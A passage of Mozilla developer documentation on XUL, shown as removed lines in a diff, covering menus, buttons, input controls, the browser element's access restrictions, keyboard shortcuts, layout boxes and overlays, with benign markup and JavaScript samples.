-<p>Each item in a menu is marked up with the <a class="internal" href="/en/XUL/menuitem" title="En/XUL/Menuitem"><code>menuitem</code></a> tag. Use the <a class="internal" href="/en/XUL/menuseparator" title="En/XUL/Menuseparator"><code>menuseparator</code></a> element to insert a separator bar that groups items together. Both <code>menu</code> and <code>menuitem</code> elements take the <a class="internal" href="/en/XUL/Attribute/label" title="En/XUL/Attribute/Label"><code>label</code></a> attribute to set their labels.</p>
-<p>Insert <code>menu</code> elements into a <a class="internal" href="/en/XUL/menubar" title="En/XUL/Menubar"><code>menubar</code></a> element to create multiple menus. You can easily create hierarchical menus by inserting <a class="internal" href="/en/XUL/menupopup" title="En/XUL/Menupopup"><code>menupopup</code></a> and <code>menu</code> elements.</p>
-<p>You can even display icons in menus by adding <code>class="menuitem-iconic"</code> to a <code>menuitem</code> element, along with a <code>src</code> attribute that gives an image URI. Figure 7 shows an example of how this is displayed.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/3838/=figure-7.png" style="width: 155px; height: 134px;"></p>
-<p><strong>Figure 7: Menu items with icons</strong></p>
-<h4 id="Executing_commands_when_selecting_menu_items">Executing commands when selecting menu items</h4>
-<p>Much like dynamic HTML, event handlers are used to execute a command when a menu item is selected. To respond to mouse and keyboard inputs in HTML, the <a class="internal" href="/en/DOM/element.onclick" title="En/DOM/Element.onclick"><code>onclick</code></a> event handler is typically used to respond to mouse clicks, and the <a class="internal" href="/en/DOM/element.onkeypress" title="En/DOM/Element.onkeypress"><code>onkeypress</code></a> event handler for keyboard input.</p>
-<p>XUL can also use these event handlers, but XUL also offers the <a class="internal" href="/en/XUL/Attribute/oncommand" title="En/XUL/Attribute/Oncommand"><code>oncommand</code></a> special event handler to deal with actions that often have specific meanings, such as selection by a left-click (or right-click on systems set up as left-handed) on the mouse or selection by the Enter key. Listing 10 shows an example of the <code>oncommand</code> event handler in use. Apart from <code>menuitem</code> elements, it can be used with buttons and other input controls.</p>
-<pre class="brush: xml">&lt;menuitem label="Open project page" oncommand="loadURI(this.value)"
-      value="http://mozilla.org/"/&gt; </pre>
-<p class="western" style="margin-bottom: 0.17in; text-align: justify;"><strong>Listing 10: The oncommand event handler</strong></p>
-<p class="western" style="margin-bottom: 0.17in; text-align: justify;">Because the Gecko engine implements DOM Level 2 event handlers, you can define dynamic event listeners such as the one in Listing 11.</p>
-<pre class="brush: js">var item = document.getElementById('menu-item-custom');
-function handleCommandEvent(aEvent) {
- alert('OK');
- item.removeEventListener('command', handleCommandEvent, false);
- item.parentNode.removeChild(item);
-}
-
-item.addEventListener('command', handleCommandEvent, false);
-</pre>
-<p><strong>Listing 11: Additions and deletions using a dynamic event listener</strong></p>
-<h5 id="Special_menu_items">Special menu items</h5>
-<p>Much like input elements in HTML, <code>menuitem</code> elements can operate like checkboxes and radio buttons by setting their <a class="internal" href="/en/XUL/Attribute/menuitem.type" title="En/XUL/Attribute/Menuitem.type"><code>type</code></a> attributes.</p>
-<h6 id="checkbox">checkbox</h6>
-<p>Adding <code>type="checkbox"</code> to a <code>menuitem</code> element will check that when it is selected, and uncheck it if it is selected again. For an example of menu items with checkboxes, see the <em>View</em> menu in Firefox, with items to show or hide the toolbar and sidebar. When one has been checked, then the <code>checked="true"</code> attribute is set.</p>
-<h6 id="radio_button">radio button</h6>
-<p>Assigning <code>type="radio"</code> to multiple <code>menuitem</code> elements and setting them to have the same name attribute groups them so that selecting one deselects all the others, much like radio buttons in HTML. For an example of this kind of menu item, see the <em>Character Encoding</em> submenu of the View menu in Firefox. The selected radio button has the <code>selected="true"</code> attribute set.</p>
-<h6 id="Contextual_menus">Contextual menus</h6>
-<p>The <a class="internal" href="/en/XUL/Attribute/context" title="En/XUL/Attribute/Context"><code>context</code></a> attribute is used to display a contextual menu or shortcut menu, that is, a custom menu that will appear when right-clicking on an element.</p>
-<p>Earlier we placed the <a class="internal" href="/en/XUL/menupopup" title="En/XUL/Menupopup"><code>menupopup</code></a> child element inside a menu element; here, we use it outside the menu element. Instead, the <code>menupopup</code> element is a direct child of the root element and we invoke it using its <code>id</code> attribute, which we set as the value for the <code>context</code> attribute on any other XUL element. When we right-click on that XUL element, we reference that <code>menupopup</code> element by its <code>id</code>, and display its contents as a contextual menu. Listing 12 shows an example.</p>
-<pre class="brush: xml">&lt;button label="Send" oncommand="send();" context="button-context"/&gt;
-&lt;menupopup id="button-context"&gt;
- &lt;menuitem label="Send with new tab" oncommand="sendInNewTab();"/&gt;
-&lt;/menupopup&gt; </pre>
-<h6 id="Buttons">Buttons</h6>
-<p>Buttons that users can click on are defined using the <a class="internal" href="/en/XUL/button" title="En/XUL/Button"><code>button</code></a> element. To show one with an icon as shown in Figure 8, define an image's URI as the value for the image attribute.</p>
-<div class="note">
- <strong>Note:</strong> To see this sample in operation, use any image as the one to display and place it in the same folder as the XUL document.</div>
-<p>Using the <a class="internal" href="/en/XUL/Attribute/icon" title="En/XUL/Attribute/Icon"><code>icon</code></a> attribute instead of the image attribute allows you to display buttons with icons that are standard for the platform.</p>
-<p>Possible values for the icon attribute are given in Table 2.</p>
-<p><img alt="" class="internal" src="/@api/deki/files/3837/=figure-8.png" style="width: 384px; height: 40px;"></p>
-<p><strong>Figure 8: A button with an image</strong></p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header"><code>icon</code> attribute value</td>
- <td class="header"><code>icon</code> attribute value</td>
- </tr>
- <tr>
- <td><code>accept</code></td>
- <td><code>close</code></td>
- </tr>
- <tr>
- <td><code>cancel</code></td>
- <td><code>print</code></td>
- </tr>
- <tr>
- <td><code>help</code></td>
- <td><code>add</code></td>
- </tr>
- <tr>
- <td><code>open</code></td>
- <td><code>remove</code></td>
- </tr>
- <tr>
- <td><code>save</code></td>
- <td><code>refresh</code></td>
- </tr>
- <tr>
- <td><code>find</code></td>
- <td><code>go-forward</code></td>
- </tr>
- <tr>
- <td><code>clear</code></td>
- <td><code>go-back</code></td>
- </tr>
- <tr>
- <td><code>yes</code></td>
- <td><code>properties</code></td>
- </tr>
- <tr>
- <td><code>no</code></td>
- <td><code>select-font</code></td>
- </tr>
- <tr>
- <td><code>apply</code></td>
- <td><code>select-color</code></td>
- </tr>
- </tbody>
-</table>
-<p><strong>Table 2: Values for the icon attribute</strong></p>
-<h6 id="Toolbar_buttons">Toolbar buttons</h6>
-<p>The <a class="internal" href="/en/XUL/toolbarbutton" title="En/XUL/Toolbarbutton"><code>toolbarbutton</code></a> element is the element used to define toolbar buttons. This is typically placed inside a <a class="internal" href="/en/XUL/toolbar" title="En/XUL/Toolbar"><code>toolbar</code></a> element, which defines a toolbar, but it can be used in other locations.</p>
-<p>These mostly act the same as <code>button</code> elements, but as shown in Listing 13, you can change the behavior of <code>toolbarbutton</code> elements using the <code>type</code> attribute. This is illustrated in the output in Figure 9.</p>
-<pre class="brush: xml">&lt;toolbar&gt;
-  &lt;toolbarbutton label="Checkbox Type" type="checkbox" image="firefox.png"/&gt;
-  &lt;toolbarbutton label="Menu Type" type="menu" popup="button-popup" image="firefox.png"/&gt;
-  &lt;toolbarbutton label="Menu Button Type" type="menu-button" popup="button-popup" image="firefox.png"/&gt;
-  &lt;menupopup id="button-popup"&gt;
-    &lt;menuitem label="Item 1"/&gt;
-    &lt;menuitem label="Item 2"/&gt;
-    &lt;menuitem label="Item 3"/&gt;
-  &lt;/menupopup&gt;
-&lt;/toolbar&gt;
-</pre>
-<p><strong>Listing 13: Various toolbar buttons</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3835/=figure-9.png" style="width: 359px; height: 38px;"></p>
-<p><strong>Figure 9: Output of Listing 13</strong></p>
-<h6 id="-_Checkbox-type_toolbar_buttons">- Checkbox-type toolbar buttons</h6>
-<p>Specifying<code> type="checkbox"</code> results in a button that stays depressed when clicked, and pops up when clicked again. The button in its depressed state has <code>checked="true"</code> set. This is the kind of button used for the History and Bookmark buttons that can be used to customize the toolbar.</p>
-<h6 id="-_Menu-type_toolbar_buttons">- Menu-type toolbar buttons</h6>
-<p>Specifying <code>type="menu"</code> and adding a <code>menupop</code> child element (In Firefox 3, you can also use the <a class="internal" href="/en/XUL/panel" title="En/XUL/Panel"><code>panel</code></a> element), or setting the <a class="internal" href="/en/XUL/Attribute/popup" title="En/XUL/Attribute/Popup"><code>popup</code></a> attribute to reference a popup menu located elsewhere by its <code>id</code>, will display a popup menu when the button is pressed. Here, the button-click itself is not taken as the input; instead, a command event is issued only when a popup menu item is selected. This is the type of button used for the List All Tabs button at the right edge of the tab bar.</p>
-<h6 id="-_Menu-button-type_toolbar_buttons">- Menu-button-type toolbar buttons</h6>
-<p>Specifying <code>type="menu-button"</code> results in a special button that combines features of both a normal toolbar button and one with <code>type="menu"</code>, so that clicking the button itself does issue a command event. This is the type of button used for the Back and Forward buttons.</p>
-<h3 id="Input_Controls">Input Controls</h3>
-<p>XUL includes a number of input control elements that are very similar to HTML's form-related elements.</p>
-<h4 id="Labels">Labels</h4>
-<p>Use the <a class="internal" href="/en/XUL/label" title="En/XUL/Label"><code>label</code></a> element for individual text labels, such as descriptive text. The value of the <code>value</code> attribute is the text that will be displayed. The <code>control</code> attribute takes as its value an <code>id</code> reference to another XUL element with that <code>id</code>; clicking that label or giving it focus can be used to pass the focus to the referenced XUL element.</p>
-<p>This can also be used to display longer chunks of text. If you want to insert long strings that automatically wrap to the window’s width, you can use the <code>flex</code> attribute as shown in Listing 14, which will automatically expand it; in this case you don't set the value using the <code>value</code> attribute, instead you should place it in the contents of the element. Figure 10 shows the output from this listing.</p>
-<pre class="brush: xml">&lt;hbox&gt;
-  &lt;label flex="1"&gt;
-  Proceeding with this action will send your personal information to a server. Are you sure you want to proceed?
-  &lt;/label&gt;
-&lt;/hbox&gt;
-</pre>
-<p><strong>Listing 14: Handling long text in a label</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3830/=figure-10.png" style="width: 309px; height: 57px;"></p>
-<p><strong>Figure 10: Output from Listing 14</strong></p>
-<h5 id="Shortening_labels">Shortening labels</h5>
-<p>Between the <code>label</code> element and the <code>label</code> attribute on other XUL elements, there can be a lot of labeled elements in XUL. A common attribute that can be set on all of them is the <a class="internal" href="/en/XUL/Property/crop" title="En/XUL/Property/Crop"><code>crop</code></a> attribute.</p>
-<p>By applying the <code>crop</code> attribute to elements with the <code>label</code> attribute set or to the <code>label</code> element, part of the label will be replaced by an ellipsis (…) if it overflows the width of the parent element. The part of the label that gets cropped can be controlled by setting its value to <code>start</code>, <code>center</code>, or <code>end</code>.</p>
-<p>You can set the maximum width of the box using the CSS <a class="internal" href="/en/CSS/max-width" title="En/CSS/Max-width"><code>max-width</code></a> property.</p>
-<h4 id="Checkboxes">Checkboxes</h4>
-<p>The checkbox shown in Figure 11 was marked up using the <a class="internal" href="/en/XUL/checkbox" title="En/XUL/Checkbox"><code>checkbox</code></a> element. When it is in its checked state, its checked attribute is set to true.</p>
-<pre class="brush: xml">&lt;checkbox label="Checkbox checked" checked="true"/&gt;
-&lt;checkbox label="Checkbox unchecked" checked="false"/&gt;
-</pre>
-<p><strong>Listing 11: Checkboxes in different state</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3836/=figure-11.png" style="width: 189px; height: 52px;"></p>
-<p><strong>Figure 11: Output from listing 11</strong></p>
-<h4 id="Radio_Buttons">Radio Buttons</h4>
-<p>Radio buttons in HTML are multiple input elements grouped by assigning them all the same <code>name</code> attribute. In XUL, this is expressed using a combination of two elements: <a class="internal" href="/en/XUL/radiogroup" title="En/XUL/Radiogroup"><code>radiogroup</code></a> and <a class="internal" href="/en/XUL/radio" title="En/XUL/Radio"><code>radio</code></a>. You set exclusive options by inserting multiple radio elements into the content of one <code>radiogroup</code> element; the currently selected <code>radio</code> element will have <code>selected="true"</code> set.</p>
-<p>The <code>radio</code> element can be uniquely identified by setting its <code>value</code> attribute. When that <code>radio</code> element is selected, the value of its <code>value</code> attribute is copied to the <code>radiogroup</code>, so that you can check for the selected radio button simply by fetching the <code>radiogroup</code> element’s <code>value</code> attribute.</p>
-<p>There may be situations where you want to locate a <code>radio</code> element outside of a <code>radiogroup</code> element. By combining it with <code>hbox</code> and <code>vbox</code>, you can write code similar to that shown in Listing 15, which will produce output as shown in Figure 12.</p>
-<pre class="brush: xml">&lt;radiogroup orient="vertical"&gt;
-  &lt;hbox&gt;
-    &lt;radio label="Top Left"/&gt;
-    &lt;radio label="Top Right"/&gt;
-  &lt;/hbox&gt;
-  &lt;hbox&gt;
-    &lt;radio label="Bottom Left"/&gt;
-    &lt;radio label="Bottom Right"/&gt;
-  &lt;/hbox&gt;
-&lt;/radiogroup&gt;
-</pre>
-<p><strong>Listing 15: A complex layout of radio buttons</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3831/=figure-12.png" style="width: 226px; height: 55px;"></p>
-<p><strong>Figure 12: Output from Listing 15</strong></p>
-<h4 id="Text_boxes">Text boxes</h4>
-<p>Use the <a class="internal" href="/en/XUL/textbox" title="En/XUL/Textbox"><code>textbox</code></a> element to accept text input. In HTML, there are two separate elements—<code>input</code> for one line of text, and <code>textarea</code> for multiple lines. But both these functions are handled by <code>textbox</code> as shown in Listing 16, which produces output as shown in Figure 13.</p>
-<p>The <code>textbox</code> element uses the <code>value</code> attribute to set its default content; content entered by the user also can be captured using the <code>value</code> attribute. To set a maximum length in characters, declare the <a class="internal" href="/en/XUL/Attribute/maxlength" title="En/XUL/Attribute/Maxlength"><code>maxlength</code></a> attribute with a positive integer value. Setting <code>type="password"</code> will turn the <code>textbox</code> into a special password-entry field, in which characters are hidden as they're typed.</p>
-<p>Every character entered into a <code>textbox</code> generates an <code>input</code> event. If you use the <a class="internal" href="/en/XUL/Attribute/oninput" title="En/XUL/Attribute/Oninput"><code>oninput</code></a> event handler, you can implement commands that reflect user input in real time.</p>
-<pre class="brush: xml">&lt;vbox align="start"&gt;
-  &lt;textbox/&gt;
-  &lt;textbox multiline="true" rows="5" cols="15"/&gt;
-&lt;/vbox&gt;
-</pre>
-<p><strong>Listing 16: <code>textbox</code> examples</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3832/=figure-13.png" style="width: 197px; height: 148px;"></p>
-<p><strong>Figure 13: Output from Listing 16</strong></p>
-<h5 id="Autocomplete">Autocomplete</h5>
-<p>Adding <code>type="autocomplete"</code> to a <code>textbox</code> element enables an automatic completion function for it.</p>
-<p>Note that to actually use this function, you must also specify a search target for the autocomplete text using the <a class="internal" href="/en/XUL/Attribute/autocompletesearch" title="En/XUL/Attribute/Autocompletesearch"><code>autocompletesearch</code></a> attribute. If you want to use the <em>Location Bar</em> history, set the value for this to <code>history</code>; if you want it to be the <em>Search Bar</em> history, use <code>search-history</code>; and if you want it to be another form’s input history, use<code> form-history</code>; this attribute can take one value or multiple space-delimited values.</p>
-<p>Also, in order to actually read in a history for autocomplete, you will need XPConnect privileges, which we will cover in <a class="internal" href="/En/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using XPCOM—Implementing advanced processes">Chapter 4</a>.</p>
-<h4 id="Menu_List">Menu List</h4>
-<p>Use the <a class="internal" href="/en/XUL/menulist" title="En/XUL/Menulist"><code>menulist</code></a> element to create a control for making selections from a drop-down list. As shown in Listing 17, this is implemented in combination with the <a class="internal" href="/en/XUL/menupopup" title="En/XUL/Menupopup"><code>menupopup</code></a> element; it produces output as shown in Figure 14.</p>
-<p>A click reveals the drop-down list; when an item is selected, the values of that item’s <code>label</code> and <code>value</code> attributes are copied to the <code>label</code> and <code>value</code> attributes of the <code>menulist</code> element itself. By default, the first menu item is selected, but any menu can be preselected by adding <code>selected="true"</code> to it.</p>
-<pre class="brush: xml">&lt;menulist&gt;
-  &lt;menupopup&gt;
-    &lt;menuitem label="Item 1" value="1"/&gt;
-    &lt;menuitem label="Item 2" value="2"/&gt;
-    &lt;menuitem label="Item 3" value="3"/&gt;
-  &lt;/menupopup&gt;
-&lt;/menulist&gt;
-</pre>
-<p><strong>Listing 17: A menulist example</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3833/=figure-14.png" style="width: 279px; height: 35px;"></p>
-<p><strong>Figure 14: Output from Listing 17</strong></p>
-<p>By adding <code>editable="true"</code> to the <code>menulist</code> element, you can accept arbitrary text input in addition to a list selection, as is often used on font selection menus in word processors.</p>
-<h3 id="Special_elements">Special elements</h3>
-<h4 id="Embedding_images">Embedding images</h4>
-<p>In addition to writing direct JavaScript code in event handlers, XUL also allows you to embed scripts using a <a class="internal" href="/en/XUL/script" title="En/XUL/Script"><code>script</code></a> element, just like in HTML; this can be used to read in an external script or to place the code in the <code>script</code> element's content.</p>
-<p>If you are embedding a script in a page, you should bracket your code inside a <code>CDATA</code> section as shown in Listing 18; this will avoid errors caused by mistakenly reading "&amp;" and other characters as the beginnings of entity references.</p>
-<pre class="brush: xml">&lt;script type="application/javascript"&gt;&lt;![CDATA[
-  var nodes = gBrowser.mTabContainer.childNodes;
-  for (var i = 0; i &lt; nodes.length; i++)
-  alert(nodes[i].label);
-]]&gt;&lt;/script&gt;
-</pre>
-<p><strong>Listing 18: Embedding a script in XUL</strong></p>
-<p><strong>Note:</strong> Although embedding JavaScript is permitted, it's generally encouraged that you instead place your JavaScript code in an external file.</p>
-<h4 id="Browser_and_tabbrowser">Browser and tabbrowser</h4>
-<p>XUL allows you to use inline frames. You can set the <a class="internal" href="/en/XUL/Attribute/src" title="En/XUL/Attribute/Src"><code>src</code></a> attribute of an <a class="internal" href="/en/XUL/iframe" title="En/XUL/Iframe"><code>iframe</code></a> element to the URI of another XUL document or web page, and it will be displayed there. But <code>iframes</code> are rarely used in XUL—in practice, the <a class="internal" href="/en/XUL/browser" title="En/XUL/Browser"><code>browser</code></a> element is used more often.</p>
-<p>The <code>browser</code> element is essentially a more powerful version of an inline frame, equipped with all the basic functions of a web browser. Unlike an <code>iframe</code>, a <code>browser</code> element has the ability to navigate backward and forward through pages and includes the ability to prevent scripts in embedded frames from accessing outside the frame. For building applications linked to external web pages, this is a more secure and more convenient approach.</p>
-<p>The <a class="internal" href="/en/XUL/tabbrowser" title="En/XUL/Tabbrowser"><code>tabbrowser</code></a> element is even more capable than the browser element because it includes the basic tab-handling features from Firefox. To use this requires XPConnect privileges, the same as autocomplete does; this will be covered in <a class="internal" href="/En/Firefox_addons_developer_guide/Using_XPCOM—Implementing_advanced_processes" title="En/Firefox addons developer guide/Using XPCOM—Implementing advanced processes">Chapter 4</a>.</p>
-<h5 id="Opening_a_page">Opening a page</h5>
-<p>If you specify a URI value for the <code>src</code> attribute in the browser element, that URI will be opened by default. If the <code>src</code> attribute's value changes, you can dynamically open a different web page or XUL document.</p>
-<p>Functions like Back, Forward, Reload can all be called using the <a class="internal" href="/en/XUL/Method/goBack" title="En/XUL/Method/GoBack"><code>goBack()</code></a>, <a class="internal" href="/en/XUL/Method/goForward" title="En/XUL/Method/GoForward"><code>goForward</code><code>()</code></a>, and <a class="internal" href="/en/XUL/Method/reload" title="En/XUL/Method/Reload"><code>reload()</code></a> methods. Using the <a class="internal" href="/en/XUL/Method/stop" title="En/XUL/Method/Stop"><code>stop()</code></a> method stops loading the page currently in the process of being opened.</p>
-<h5 id="Access_restrictions">Access restrictions</h5>
-<p>With frames defined using HTML's <a class="internal" href="/En/HTML/Element/Frame" title="En/HTML/Element/Frame"><code>frame</code></a> and <code>iframe</code> elements, it is possible for a child frame to access its parent and ancestor frames by getting the <a class="internal" href="/en/DOM/window.parent" title="En/DOM/Window.parent"><code>parent</code></a> and <a class="internal" href="/en/DOM/window.top" title="En/DOM/Window.top"><code>top</code></a> properties of window objects. For an application that can open any web page, this could give a script on a web page access to an XUL document's frame, creating a dangerous opening for personal information to leak out.</p>
-<p>In the interests of security, you can enforce access restrictions by declaring <code>type="content"</code> on a <code>browser</code> element. When you do this, any web page that gets opened will see itself as the topmost frame. If you are developing an application with an interface that can open web pages, I recommend that you always use this declaration to limit access to the parent frame.</p>
-<p>In certain circumstances, you may want to declare <code>type="content-primary"</code>. A browser element with this declaration is treated as a special browser among other XUL documents, such that the window object displaying its web page can be accessed using the <a class="internal" href="/en/DOM/window.content" title="En/DOM/Window.content"><code>window.content</code></a> property. In Firefox itself, the content region of the active tab is declared as a browser element with <code>type="content-primary"</code>.</p>
-<h4 id="Keyboard_shortcuts">Keyboard shortcuts</h4>
-<p>To implement keyboard shortcuts (pressing a key while holding down modifier keys like Control or Shift.) in a <a class="internal" href="/en/DHTML" title="En/DHTML">DHTML</a>-based interface, you need a script that will intercept keyboard inputs.</p>
-<p>In XUL, you can define keyboard shortcuts simply by using the <a class="internal" href="/en/XUL/key" title="En/XUL/Key"><code>key</code></a> element, as shown in Listing 19.</p>
-<pre class="brush: xml">&lt;key id="key-save" key="s" modifiers="accel,shift" oncommand="save();"/&gt;
-&lt;key id="key-scroll-up" keycode="VK_PAGE_UP" oncommand="advanceFocus(-1);"/&gt;
-</pre>
-<p><strong>Listing 19: Defining keyboard shortcuts</strong></p>
-<p>To make letters, numbers, symbols, or the space bar act as triggers, declare that character as the key attribute’s value. You can use either uppercase and lowercase letters and they will be handled the same.</p>
-<p>For triggers on other special keys, use the <a class="internal" href="/en/XUL/Attribute/keycode" title="En/XUL/Attribute/Keycode"><code>keycode</code></a> attribute with the appropriate keycode name value. In general you can use the keycode name for any key; the most commonly used ones are shown in Table 3.</p>
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Key</td>
- <td class="header">Keycode name</td>
- </tr>
- <tr>
- <td>Return</td>
- <td><code>VK_RETURN</code></td>
- </tr>
- <tr>
- <td>Enter</td>
- <td><code>VK_ENTER</code></td>
- </tr>
- <tr>
- <td>Backspace</td>
- <td><code>VK_BACK_SPACE</code></td>
- </tr>
- <tr>
- <td>Delete</td>
- <td><code>VK_DELETE</code></td>
- </tr>
- <tr>
- <td>Escape</td>
- <td><code>VK_ESCAPE</code></td>
- </tr>
- <tr>
- <td>↑</td>
- <td><code>VK_UP</code></td>
- </tr>
- <tr>
- <td>↓</td>
- <td><code>VK_DOWN</code></td>
- </tr>
- <tr>
- <td>←</td>
- <td><code>VK_LEFT</code></td>
- </tr>
- <tr>
- <td>→</td>
- <td><code>VK_RIGHT</code></td>
- </tr>
- </tbody>
-</table>
-<h5 id="Table_3_Typical_keycode_names"><strong>Table 3: Typical keycode names</strong></h5>
-<p> </p>
-<h5 id="Using_modifier_keys">Using modifier keys</h5>
-<p>Use the <a class="internal" href="/en/XUL/Attribute/modifiers" title="En/XUL/Attribute/Modifiers"><code>modifiers</code></a> attribute with one or more of the following comma-delimited values: "control", "alt", "shift", and "meta" in order to limit the use of keyboard shortcuts to only operate when those modifier keys are pressed together with another key. The standard modifier key on Windows and Linux is Control; on Mac OS it is Command. An easy way to automatically use the modifier key appropriate for the current platform is to set the modifier key to "accel", which maps to Control on Windows and Linux, Command on Mac OS.</p>
-<div class="note">
- <strong>Note:</strong> The "meta" key is the Command key on Mac OS X (the one with the cloverleaf design on it).</div>
-<p>The <code>key</code> element itself is never displayed on screen. In order to display defined keyboard shortcuts as shown in Figure 15, reference the <code>key</code> element's <code>id</code> from the <code>menu</code> or <code>menuitem</code> element’s <a class="internal" href="/en/XUL/Attribute/key" title="En/XUL/Attribute/Key"><code>key</code></a> attribute.</p>
-<p>{{ TODO("Figure 15: Displaying keyboard shortcuts in menu items:Menu 1/Save/Scroll") }}</p>
-<h3 id="Elements_related_to_box_layout">Elements related to box layout</h3>
-<p>XUL includes a number of elements used strictly to organize the layout of screen widgets.</p>
-<h4 id="spacer">spacer</h4>
-<p>Use the <a class="internal" href="/en/XUL/spacer" title="En/XUL/Spacer"><code>spacer</code></a> element if you want to open up the space between buttons. You can use the <a class="internal" href="/en/XUL/Attribute/flex" title="En/XUL/Attribute/Flex"><code>flex</code></a> attribute or <a class="internal" href="/en/XUL/Attribute/style" title="En/XUL/Attribute/Style"><code>style</code></a> attribute to make whitespace stretch or set it to a certain size.</p>
-<h4 id="grid">grid</h4>
-<p>In the same way that the <code>table</code> element is used to lay out content in HTML, you can use the <a class="internal" href="/en/XUL/grid" title="En/XUL/Grid"><code>grid</code></a> element in XUL. As shown in Listing 20, you first declare the number of columns, and then define the content of each row. The output of this sample is shown in Figure 16. You can also code it so that the rows come first, declaring the number of rows and then defining content by column.</p>
-<p>The <code>rowspan</code> and <code>colspan</code> attributes available in HTML tables are not available in XUL grids.</p>
-<pre class="brush: xml">&lt;grid&gt;
-  &lt;columns&gt;
-    &lt;column/&gt;
-    &lt;column flex="1"/&gt;
-  &lt;/columns&gt;
-  &lt;rows&gt;
-    &lt;row align="center"&gt;
-      &lt;label value="User ID"/&gt;
-      &lt;textbox/&gt;
-    &lt;/row&gt;
-    &lt;row align="center"&gt;
-      &lt;label value="Name"/&gt;
-      &lt;textbox/&gt;
-    &lt;/row&gt;
-  &lt;/rows&gt;
-&lt;/grid&gt;
-</pre>
-<p><strong>Listing 20: Layout using the grid</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3827/=figure-16.png" style="width: 326px; height: 65px;"></p>
-<p><strong>Figure 16: Output from Listing 20</strong></p>
-<h4 id="stack">stack</h4>
-<p>Use the <a class="internal" href="/en/XUL/stack" title="En/XUL/Stack"><code>stack</code></a> element to overlap multiple widgets. The <code>stack</code> element differs from a normal box in that all the elements in it are layered over each other, working from the bottom up. Listing 21 shows an example of a thermometer-style progress bar, with its output shown in Figure 17.</p>
-<pre class="brush: xml">&lt;stack&gt;
-  &lt;progressmeter mode="normal" value="50"/&gt;
-  &lt;hbox align="center"&gt;
-    &lt;label value="In progress…"/&gt;
-  &lt;/hbox&gt;
-&lt;/stack&gt;
-</pre>
-<p><strong>Listing 21: Overlapping with stack</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3828/=figure-17.png" style="width: 329px; height: 22px;"></p>
-<p><strong>Figure 17: Progress Bar</strong></p>
-<h4 id="tab">tab</h4>
-<p>Use the <a class="internal" href="/en/XUL/tab" title="En/XUL/Tab"><code>tab</code></a> element to divide multiple pages, as used in the <em>Properties</em> dialog; use the <a class="internal" href="/en/XUL/tabbox" title="En/XUL/Tabbox"><code>tabbox</code></a> element to group related elements. This is demonstrated in Listing 22, with its output shown in Figure 18.</p>
-<pre class="brush: xml">&lt;tabbox&gt;
-  &lt;tabs&gt;
-    &lt;tab label="tab1"/&gt;
-    &lt;tab label="tab2" selected="true"/&gt;
-  &lt;/tabs&gt;
-  &lt;tabpanels&gt;
-    &lt;tabpanel&gt;
-      &lt;checkbox label="check1"/&gt;
-    &lt;/tabpanel&gt;
-    &lt;tabpanel orient="vertical"&gt;
-      &lt;checkbox label="check2"/&gt;
-      &lt;checkbox label="check3"/&gt;
-    &lt;/tabpanel&gt;
-  &lt;/tabpanels&gt;
-&lt;/tabbox&gt;
-</pre>
-<p><strong>Listing 22: Tabs in use</strong></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3829/=figure-18.png" style="width: 332px; height: 95px;"></p>
-<p><strong>Figure 18: Output from listing 22</strong></p>
-<h2 id="Other_XUL_functions">Other XUL functions</h2>
-<h3 id="Overlays">Overlays</h3>
-<p>One of XUL’s distinctive features is overlays. These give you the ability to combine multiple XUL documents and process them as a single XUL document. In Firefox, this is used to modularize functions and implement extensions.</p>
-<p>By inserting an <code>xul-overlay</code> processing instruction between the XML declaration and the opening tag of the root element, the XUL document specified by the <code>xul-overlay</code> will be read in at the same time as the current XUL document. The XUL document that actually gets displayed will be a combination of the original XUL document and the one specified in <code>xul-overlay</code>.</p>
-<p>Try typing up Listing 23 and saving it as <code>base.xul</code>. Take a look at the overlay example used by this XUL document.</p>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;?xml-stylesheet href="chrome://global/skin/"?&gt;
-&lt;?xul-overlay href="overlayDocument.xul"?&gt;
-&lt;window xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-  &lt;hbox id="box1"&gt;
-    &lt;label id="label1" value="Text label"/&gt;
-  &lt;/hbox&gt;
-  &lt;hbox id="box2"&gt;
-    &lt;label id="label2" value="Text label"/&gt;
-  &lt;/hbox&gt;
-&lt;/window&gt;
-</pre>
-<p><strong>Listing 23: </strong><code><strong>base.xul</strong></code></p>
-<h4 id="Appending_elements">Appending elements</h4>
-<p>When defining an XUL document to open as an overlay, use an <a class="internal" href="/en/XUL/overlay" title="En/XUL/Overlay"><code>overlay</code></a> element as the root element. Save the text of Listing 24 as <code>overlayDocument.xul</code> in the same directory as <code>base.xul</code>.</p>
-<p>Here, we’ll open <code>base.xul</code> in the Firefox window. <code>overlayDocument.xul</code> gets read in at the same time as <code>base.xul</code>, resulting in what we see in Figure 19, where <code>overlayDocument.xul</code> gets appended to the end of <code>base.xul</code>.</p>
-<pre class="brush: xml">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;overlay xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
-  &lt;button label="Button 1"/&gt;
-  &lt;button label="Button 2"/&gt;
-  &lt;button label="Button 3"/&gt;
-&lt;/overlay&gt;
-</pre>
-<p><strong>Listing 24: </strong><code><strong>overlayDocument.xul</strong></code></p>
-<p><img alt="" class="internal" src="/@api/deki/files/3825/=figure-19.png" style="width: 404px; height: 138px;"></p>
-<p><strong>Figure 19: Output from listings 23 and 24</strong></p>
-<h4 id="Merging_and_inserting_elements">Merging and inserting elements</h4>
-<p>By inserting <code>id</code> attributes into the elements being appended in the XUL overlay document, elements in the base document with the same <code>id</code> values will have their attributes and values merged with the overlay document.</p>
-<p>Try overwriting the contents of <code>overlayDocument.xul</code> with Listing 25 and re-saving.</p>
